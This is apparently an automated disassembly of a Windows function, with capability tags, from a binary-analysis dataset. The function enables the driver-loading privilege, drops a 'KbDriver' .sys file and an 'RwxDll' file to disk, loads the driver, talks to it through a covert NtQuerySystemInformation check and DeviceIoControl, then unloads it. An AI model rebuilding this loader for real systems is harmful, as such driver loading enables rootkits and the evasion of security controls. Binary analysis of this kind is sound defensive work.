Function at 0x1407e8800
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get system information on windows
Make suspicious ntquerysysteminformation call
Unload driver
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
push rbp
push rdi
push r14
push r15
lea rbp, [rsp - 0x1d8]
sub rsp, 0x2d8
xor r15d, r15d
mov r14d, ecx
mov qword [rbp + 0x208], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x208]
lea edx, [r15 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1407e88ab
xorps xmm0, xmm0
lea r8, [rsp + 0x44]
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.SeLoadDriverPrivilege
mov dword [rsp + 0x40], 1
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x208]
lea r9d, [r15 + 0x10]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x300], rbx
call fcn.1407e7ca0
lea rdx, [rbp + 0xc0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x1407e898c
lea r9, [rbp - 0x50]
xor r8d, r8d
lea rdx, str.KbDriver
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1407e898c
lea r8, str..sys
mov edx, 0x104
lea rcx, [rbp - 0x50]
call fcn.1407f731c
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1407e8980
lea r9, [rbp + 0x210]
mov qword [rsp + 0x20], r15
mov r8d, 0x5478
lea rdx, [0x140ee0dc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1407e8980
cmp dword [rbp + 0x210], 0x5478
jne 0x1407e8980
lea rdi, [rbp - 0x50]
jmp 0x1407e898f
lea rcx, str.Dev_WriteToFile__n
call fcn.1407dbb00
mov rdi, r15
mov rdx, rdi
mov qword [rsp + 0x2d0], rsi
lea rcx, str.DriverFileName__s_n
call fcn.1407dbb00
lea rcx, [0x140818cb8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1407e89cb
lea rcx, str.RwxDll_GetFileAttributesA___n
call fcn.1407dbb00
mov bl, 1
jmp 0x1407e8a50
mov qword [rsp + 0x30], r15
lea rcx, [0x140818cb8]
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1407e8a42
lea r9, [rbp + 0x210]
mov qword [rsp + 0x20], r15
mov r8d, 0x402410
lea rdx, [0x140ac65b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1407e8a42
cmp dword [rbp + 0x210], 0x402410
jne 0x1407e8a42
mov bl, 1
jmp 0x1407e8a50
lea rcx, str.RwxDll_WriteToFile___n
call fcn.1407dbb00
xor bl, bl
mov qword [rbp + 0x208], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x208]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1407e8ad6
xorps xmm0, xmm0
lea r8, [rsp + 0x44]
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.SeLoadDriverPrivilege
mov dword [rsp + 0x40], 1
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x208]
lea r8, [rsp + 0x40]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x4c], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x1407e8e99
test bl, bl
je 0x1407e8e99
mov rcx, rdi
call fcn.1407e7690
test eax, eax
je 0x1407e8e92
mov esi, 0xa
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r9d, r9d
mov dword [rbp + 0x208], 0x2f5576
mov dword [rsp + 0x6c], eax
lea r8d, [rsi + 0xa]
lea rax, [rbp + 0x208]
mov dword [rbp + 0x210], r15d
mov qword [rsp + 0x74], rax
lea rdx, [rsp + 0x50]
lea rax, [rbp + 0x210]
mov qword [rbp - 0x7c], r15
mov qword [rsp + 0x7c], rax
lea ecx, [rsi + 0x42]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], 0x399a
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x5c], r15
mov dword [rsp + 0x50], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp dword [rbp + 0x210], 0x2f5576
je 0x1407e8c09
mov rcx, qword [0x140ff04a0]
lea rax, [0x140969900]
mov qword [rbp - 0x60], rax
lea r9d, [rsi + 0x16]
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x40]
mov qword [rbp - 0x58], rax
lea r8, [rbp - 0x70]
lea rax, [rbp + 0x218]
mov dword [rbp + 0x218], r15d
mov qword [rsp + 0x30], rax
mov edx, 0x8005e000
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov dword [rbp - 0x70], r15d
mov dword [rbp - 0x6c], 0x15ccb0
mov qword [rbp - 0x68], r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp dword [rsp + 0x40], r15d
jl 0x1407e8bf8
lea rcx, str.LoadDivere__OK_OK__p_n
call fcn.1407dbb00
mov esi, 5
jmp 0x1407e8c09
lea rcx, str.LoadDiverOne__Die_Die__p_n
call fcn.1407dbb00
mov esi, 4
mov rbx, r15
nop dword [rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r9d, r9d
mov dword [rbp + 0x208], 0x2f5576
mov dword [rsp + 0x6c], eax
lea rdx, [rsp + 0x50]
lea rax, [rbp + 0x208]
mov dword [rbp + 0x210], r15d
mov qword [rsp + 0x74], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x7c], rax
lea r8d, [r9 + 0x14]
lea rax, [rsp + 0x68]
mov qword [rbp - 0x7c], r15
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x68], 0x399a
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x5c], r15
mov dword [rsp + 0x50], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp dword [rbp + 0x210], 0x2f5576
je 0x1407e8cab
inc rbx
cmp rbx, 0xc8
jb 0x1407e8c10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r9d, r9d
mov dword [rbp + 0x208], 0x2f5576
mov dword [rsp + 0x6c], eax
lea rdx, [rsp + 0x50]
lea rax, [rbp + 0x208]
mov dword [rbp + 0x210], r15d
mov qword [rsp + 0x74], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x7c], rax
lea r8d, [r9 + 0x14]
lea rax, [rsp + 0x68]
mov qword [rbp - 0x7c], r15
lea ecx, [r9 + 0x4c]
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x68], 0x399a
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x5c], r15
mov dword [rsp + 0x50], 0x54455350
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp dword [rbp + 0x210], 0x2f5576
jne 0x1407e8e8e
lea rcx, str.DriverLoaded__OK_OK__p_n
call fcn.1407dbb00
mov rdx, r14
call fcn.1407e7fe0
test eax, eax
je 0x1407e8e87
mov qword [rbp + 0x208], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x208]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1407e8dd4
xorps xmm0, xmm0
lea r8, [rsp + 0x44]
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.SeLoadDriverPrivilege
mov dword [rsp + 0x40], 1
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x208]
lea r8, [rsp + 0x40]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140ff0490]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov ebx, r15d
mov qword [rbp + 0x218], r15
test eax, eax
setns bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x218]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1407e8e6f
xorps xmm0, xmm0
lea r8, [rsp + 0x54]
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.SeLoadDriverPrivilege
mov dword [rsp + 0x50], 1
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x218]
lea r8, [rsp + 0x50]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x5c], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1407e8e8e
call fcn.1407e7a30
mov rcx, rdi
call fcn.1407f723c
mov eax, 1
jmp 0x1407e8e9e
mov eax, 5
jmp 0x1407e8e9e
mov eax, esi
jmp 0x1407e8e9e
mov eax, reloc.WS2_32.dll_inet_addr
jmp 0x1407e8e9e
mov eax, 2
mov rsi, qword [rsp + 0x2d0]
mov rbx, qword [rsp + 0x300]
add rsp, 0x2d8
pop r15
pop r14
pop rdi
pop rbp
ret